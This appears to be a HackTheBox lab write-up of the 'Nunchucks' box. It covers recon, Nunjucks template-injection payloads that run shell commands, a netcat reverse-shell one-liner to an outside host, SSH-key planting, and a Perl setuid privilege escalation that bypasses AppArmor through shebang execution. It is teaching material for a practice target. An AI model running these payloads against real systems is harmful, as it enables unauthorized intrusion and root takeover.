htb-nunchucks

October’s UHC qualifying box, Nunchucks, starts with a template injection vulnerability in an Express JavaScript application. There are a lot of templating engines that Express can use, but this one is using Nunchucks. After getting a shell, there’s what looks like a simple GTFObins privesc, as the Perl binary has the setuid capability. However, AppArmor is blocking the simple exploitation, and will need to be bypassed to get a root shell.

Box Stats

Recon

nmap

nmap found three open TCP ports, SSH (22), HTTP (80), and HTTPS (443):

┌─[puck@parrot-lt]─[~/htb/nunchucks]
└──╼ $nmap -sC -sV 10.10.11.122 -oN allports.nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-15 15:25 CEST
Nmap scan report for nunchucks.htb (10.10.11.122)
Host is up (0.11s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
| 256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_ 256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| tls-nextprotoneg: 
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Nunchucks - Landing Page
| tls-alpn: 
|_ http/1.1
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after: 2031-08-28T15:42:24
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.79 seconds
┌─[puck@parrot-lt]─[~/htb/nunchucks]
└──╼ $

Based on the OpenSSH version, the host is likely running Ubuntu 20.04 Focal.

The site on 80 redirects to https://nunchucks.htb, and the certificate on 443 also gives the same domain. I’ll add it to my /etc/hosts file.

VHost Fuzz

Given the use of domain names, I’ll start wfuzz looking for potential subdomains. Running quickly without a filter shows that the default is 30587 bytes long, so I’ll add --hh 30587 to the arguments and run again:

puck@parrot-lt$ wfuzz -H "Host: FUZZ.nunchucks.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 30587 https://nunchucks.htb 
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://nunchucks.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000081:   200        101 L    259 W      4028 Ch     "store"

Total time: 0
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 0

It finds store.nunchucks.htb, which I’ll add to /etc/hosts as well:

10.10.11.122 nunchucks.htb store.nunchucks.htb

nunchucks.htb – TCP 443

Site

The page is for an online marketplace:

image-20211022135306770

There is an email at the bottom, support@nunchucks.htb.

There are links to Log In and Sign up:

image-20211022140116492

I didn’t have any luck bypassing the login, and when I tried to sign up:

 Tech Stack

Looking at the HTTP response headers, the server is running Express, a JavaScript framework:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 22 Oct 2021 18:01:56 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Express
ETag: W/"777d-t5xzWgv1iuRI5aJo57wYpq8tm5A"
Content-Length: 30589

Directory Brute Force

I’ll run feroxbuster against the site:

puck@parrot-lt$ feroxbuster -u https://nunchucks.htb -k

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ https://nunchucks.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.3.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
WLD        3l        6w       45c Got 200 for https://nunchucks.htb/56132a60d50a44e8a652348a707d35e1 (url length: 32)
WLD         -         -         - Wildcard response is static; auto-filtering 45 responses; toggle this behavior by using --dont-filter
WLD        3l        6w       45c Got 200 for https://nunchucks.htb/49243936a43a4aae8c5c1f8feb994d1f0d38fc33cdd3433f9073ea6ac78f04eedf7c7330230340c7855df648a1940155 (url length: 96)
200      183l      662w     9172c https://nunchucks.htb/login
301       10l       16w      179c https://nunchucks.htb/assets
200      183l      662w     9172c https://nunchucks.htb/Login
301       10l       16w      193c https://nunchucks.htb/assets/images
301       10l       16w      185c https://nunchucks.htb/assets/js
301       10l       16w      187c https://nunchucks.htb/assets/css
200      250l     1863w    19134c https://nunchucks.htb/privacy
200      187l      683w     9488c https://nunchucks.htb/signup
200      245l     1737w    17753c https://nunchucks.htb/terms
301       10l       16w      179c https://nunchucks.htb/Assets
301       10l       16w      193c https://nunchucks.htb/Assets/images
301       10l       16w      185c https://nunchucks.htb/Assets/js
301       10l       16w      187c https://nunchucks.htb/Assets/css
200      250l     1863w    19134c https://nunchucks.htb/Privacy
200      245l     1737w    17753c https://nunchucks.htb/Terms
200      187l      683w     9488c https://nunchucks.htb/Signup
200      187l      683w     9488c https://nunchucks.htb/SignUp
200      183l      662w     9172c https://nunchucks.htb/LOGIN
[####################] - 3m    269991/269991  0s      found:20      errors:0      
[####################] - 2m     30001/29999   188/s   https://nunchucks.htb
[####################] - 2m     29999/29999   166/s   https://nunchucks.htb/assets
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/assets/images
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/assets/js
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/assets/css
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/Assets
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/Assets/images
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/Assets/js
[####################] - 3m     29999/29999   166/s   https://nunchucks.htb/Assets/css

Looking through these links, nothing interesting jumped out that I hadn’t looked at already.

store.nunchucks.htb

This site is for a coming soon store:

 

If I enter an email address, there’s a message:

 

Shell as david

Identify SSTI / SSJSI

After wasting some time trying to get the server to connect to me, I tried a server-side template injection payload:

image-20211022141409231

It worked! {{7*7}} became 49.

RCE POC

In Googling around to understand what templating engine Express uses, it turns out it supports a lot! But one on the list jumped out:

 

When it matches the box name, that’s a good hint! Googling for “nunchucks template injection” led to this post. It shows how to build different payloads, but the last one is the most interesting as it shows code execution:

{"email":
"puck{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}@htb.htb"}

I’ll add backslashes to escape the double quotes, and add that payload to my Repeater window. It gets /etc/passwd:

 

The code execution is happening as the david user (when given id as the command):

 

OS Exploration

I could go right for a reverse shell,

{"email":
"puck{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 6363 >/tmp/f')\")()}}@htb.htb"}

but I might check if I can grab user.txt first.

Running ls -l /home shows only one user, david:

image-20211022143025654

user.txt is in that directory:

image-20211022143101840

And I can grab it:

image-20211022143201046

SSH Key

To get a shell, I’ll write my SSH key into /home/david/.ssh/authorized_keys. First create the directory:

{"email":"puck{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('mkdir /home/david/.ssh')\")()}}@htb.htb"}

Now add my public key:

{"email":"puck{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCmc2jjDKyd+vzFF+iKyFsoRditbvBnnaH1XUKHy2+RgcCXTn6xviLPJb+FJ4FZgua28nBhyLwgvRox4uBYcZLAIUs+y1A/qwFinFzd5W+RTeESxjANo/YFkdlT+ZEBN7x/d1ZUR1gbPQCWOW/eTyIQGR0IGhEj1MTeE6+u9LA/5OZFYhqfvYd6MElJWbYLgb3KnryPrin3F4T7oRTve1U5Wisht67Ep1KZSeQEtFlkxw+70Xws67O6AcE87ccK74YWD9MfH8jcE5nxDUDodtNHY4oCh7UC8Btj6HzedBGulzvAoLVK6bBEa52BdjKempoTrWAxgMd5v1sb0o+2CggGmaE4T3HIRWac0oUgQ23ANpEUCAkKaOLhdpAcrGGlAvqQCsgfhSOuyoeAJyZu2wjCVJYAnAYcsXgxA2NVep4MQ/jSRyEbX5rjtz6F+WEdIQBUQhzRSFwWLt4pr4OwMjSsQwGhUAS4pblpFCix2+29OxZ0/Z+vHeOqpJxkWFyg8C0= puck@parrot-lt > /home/david/.ssh/authorized_keys')\")()}}@htb.htb"}

Next set the permissions to 600:

{"email":"puck{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('chmod 600 /home/david/.ssh/authorized_keys')\")()}}@htb.htb"}

And now I can connect over SSH:

┌─[puck@parrot-lt]─[~/htb/nunchucks]
└──╼ $ssh david@10.10.11.122
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-86-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Fri 15 Apr 13:34:45 UTC 2022

System load: 0.0
Usage of /: 48.9% of 6.82GB
Memory usage: 51%
Swap usage: 0%
Processes: 227
Users logged in: 1
IPv4 address for ens160: 10.10.11.122
IPv6 address for ens160: dead:beef::250:56ff:feb9:2759


10 updates can be applied immediately.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Apr 15 12:41:34 2022 from 10.10.14.6
david@nunchucks:~$ 

Shell as root

Enumeration

There’s no obvious sudo abilities or interesting SetUID/SetGID binaries.

There is an interesting file in /opt:

david@nunchucks:/opt$ ls -l
total 8
-rwxr-xr-x 1 root root  838 Sep  1 12:53 backup.pl
drwxr-xr-x 2 root root 4096 Sep 26 01:18 web_backups

This file is doing a backup of the web directories into /opt/web_backsup:

#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid); 
POSIX::setuid(0); 

my $tmpdir        = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";

sub printlog
{
    print "[", strftime("%D %T", localtime), "] $_[0]\n";
}

sub archive
{
    printlog "Archiving...";
    system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
    printlog "Backup complete in $tmpbdir/backup_$now.tar";
}

if ($> != 0) {
    die "You must run this script as root.\n";
}

printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";

But since only root can write to /opt/web_backups, it’s using POSIX::setuid(0) to run as root.

To do this, it must either be SUID or have a capability. It has the setuid capability:

$ getcap -r / 2>/dev/null
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
$
$ which python
$ export TERM=xterm
$ SHELL=/bin/bash script -q /dev/null
david@nunchucks:~$ 




AppArmor

GTFOBins Failure

There’s an entry for this on GTFObins. I’ll just use the one liner from there:

david@nunchucks:~$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
david@nunchucks:~$ 

For some reason it doesn’t return a root shell.

If I try whoami, it does return root:

david@nunchucks:/etc/apparmor.d$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root

If I create a simple script in /tmp:

david@nunchucks:/tmp$ echo '#!/usr/bin/perl ' >> p.pl
echo '#!/usr/bin/perl ' >> p.pl
david@nunchucks:/tmp$ echo 'use POSIX qw(strftime);' >> p.pl
echo 'use POSIX qw(strftime);' >> p.pl
david@nunchucks:/tmp$ echo 'use POSIX qw(setuid);' >> p.pl
echo 'use POSIX qw(setuid);' >> p.pl
david@nunchucks:/tmp$ echo 'POSIX::setuid(0);' >> p.pl
echo 'POSIX::setuid(0);' >> p.pl
david@nunchucks:/tmp$ echo 'exec "/bin/sh"' >> p.pl
echo 'exec "/bin/sh"' >> p.pl
david@nunchucks:/tmp$ 

When I try to pass it to perl, it gets an accessed denied:

david@nunchucks:/tmp$ perl a.pl 
Can't open perl script "a.pl": Permission denied

AppArmor Config

Apparmor is a way to define access controls much more granularly to various binaries in Linux. There are a series of binary-specific profiles in /etc/apparmor.d:

david@nunchucks:/etc/apparmor.d$ ls
abstractions  disable  force-complain  local  lsb_release  nvidia_modprobe  sbin.dhclient  tunables  usr.bin.man  usr.bin.perl  usr.sbin.ippusbxd  usr.sbin.mysqld  usr.sbin.rsyslogd  usr.sbin.tcpdump

There is one for usr.bin.perl:

david@nunchucks:/etc/apparmor.d$ cat usr.bin.perl 
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>

/usr/bin/perl {
  #include <abstractions/base>
  #include <abstractions/nameservice>
  #include <abstractions/perl>

  capability setuid,

  deny owner /etc/nsswitch.conf r,
  deny /root/* rwx,
  deny /etc/shadow rwx,

  /usr/bin/id mrix,
  /usr/bin/ls mrix,
  /usr/bin/cat mrix,
  /usr/bin/whoami mrix,
  /opt/backup.pl mrix,
  owner /home/ r,
  owner /home/david/ r,

}

It’s allowed to have seduid, but it’s not allowed to access /root/*, and it’s only allowed to access a handful of files.

This config basically says it can only run a handful of binaries and the script in /opt. It explicitly denies access to /root and /etc/shadow.

Bypass

This bug posted to the AppArmor devs shows that while AppArmor will protect a script run with the binary, it won’t have any impact when Perl is invoked via the SheBang.

There’s two common ways to start a script on Linux. The first is to call the interpreter (bash, python, perl) and then give it the script as an argument. This method will apply AppArmor protections as expected.

The other is using a Shebang (#!) and setting the script itself to executable. When Linux tries to load the script as executable, that line tells it what interpreter to use. For some reason, the AppArmor developers don’t believe that the rules for the interpreter should apply there, and so they don’t.

That means if I just run ./a.pl, it works:

david@nunchucks:/tmp$ ./p.pl 
# bash
root@nunchucks:/tmp#

Now I can grab the flag:

# ls
node_modules root.txt
# hostnamectl
Static hostname: nunchucks
Icon name: computer-vm
Chassis: vm
Machine ID: da69e4a5fca6456a8f343eb1ce0bebe0
Boot ID: 25aa349cee9d4539ba5bae4e24b02390
Virtualization: vmware
Operating System: Ubuntu 20.04.3 LTS
Kernel: Linux 5.4.0-86-generic
Architecture: x86-64
#

.

Beyond root : tplmap https://github.com/epinna/tplmap

Unfortunately, there is no such option in tplmap for sending a request in JSON format. Therefore, I created a simple middleware using Flask which acts as a middleman/proxy that will takes the non-JSON request and convert it before forwarding the request to store.nunchucks.htb. Here’s the code:

┌─[puck@parrot-lt]─[~/htb/nunchucks]
└──╼ $cat nunchucks.py 
from flask import Flask
from flask import request
from urllib.parse import unquote
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

app = Flask(__name__)

@app.route('/')
def index():
data = {
"email": unquote((request.args.get("email")))
}
req_to_nunchucks = requests.post("https://store.nunchucks.htb/api/submit",json=data,verify=False)
return req_to_nunchucks.text


app.run(host='0.0.0.0', port=80)

┌─[puck@parrot-lt]─[~/htb/nunchucks]
└──╼ $

https://github.com/puckiestyle/tplmap/blob/master/nunchucks.py

.

┌─[✗]─[puck@parrot-lt]─[~/htb/nunchucks]
└──╼ $sudo python3 nunchucks.py 
[sudo] password for puck: 
* Serving Flask app "nunchucks" (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: off
* Running on http://0.0.0.0:80/ (Press CTRL+C to quit)
127.0.0.1 - - [20/Apr/2022 12:10:35] "GET /?email=%7B6909880312%7D%7B79%7D%7B%2A47%2A%7D%7B16%7D%7B8209129805%7D HTTP/1.1" 200 -
127.0.0.1 - - [20/Apr/2022 12:10:36] "GET /?email=%7B79%7D%7B%2A47%2A%7D%7B16%7D HTTP/1.1" 200 -
127.0.0.1 - - [20/Apr/2022 12:10:36] "GET /?email=%7Bphp%7D%24d%3D%22VHJ1ZQ%3D%3D%22%3Beval%28%22return+%28%22+.+base64_decode%28str_pad%28strtr%28%24d%2C+%27-_%27%2C+%27%2B%2F%27%29%2C+strlen%28%24d%29%254%2C%27%3D%27%2CSTR_PAD_RIGHT%29%29+.+%22%29+%26%26+sleep%2824%29%3B%22%29%3B%7B%2Fphp%7D HTTP/1.1" 200 -
127.0.0.1 - - [20/Apr/2022 12:10:37] "GET /?email=%24%7B7356083100%7D%24%7B%270G%27.join%28%27pu%27%29%7D%24%7B6633923401%7D HTTP/1.1" 200 -
127.0.0.1 - - [20/Apr/2022 12:10:37] "GET /?email=%24%7B%270G%27.join%28%27pu%27%29%7D

.

 

┌─[puck@parrot-lt]─[/opt/tplmap]
└──╼ $./tplmap.py -u 'http://127.0.0.1/?email=puck@htb' --engine Nunjucks --os-shell
Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool

Testing if GET parameter 'email' is injectable
Nunjucks plugin is testing rendering with tag '{{*}}'
Nunjucks plugin has confirmed injection with tag '{{*}}'
Tplmap identified the following injection point:

GET parameter: email
Engine: Nunjucks
Injection: {{*}}
Context: text
OS: linux
Technique: render
Capabilities:

Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, javascript code

Run commands on the operating system.
linux $ id
uid=1000(david) gid=1000(david) groups=1000(david)

linux $rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 6363 >/tmp/f

.

┌─[✗]─[puck@parrot-lt]─[~/htb/nunchucks]
└──╼ $nc -nlvp 6363
listening on [any] 6363 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.122] 59542
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(david) gid=1000(david) groups=1000(david)
$ SHELL=/bin/bash script -q /dev/null
david@nunchucks:/var/www/store.nunchucks$

.

 

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *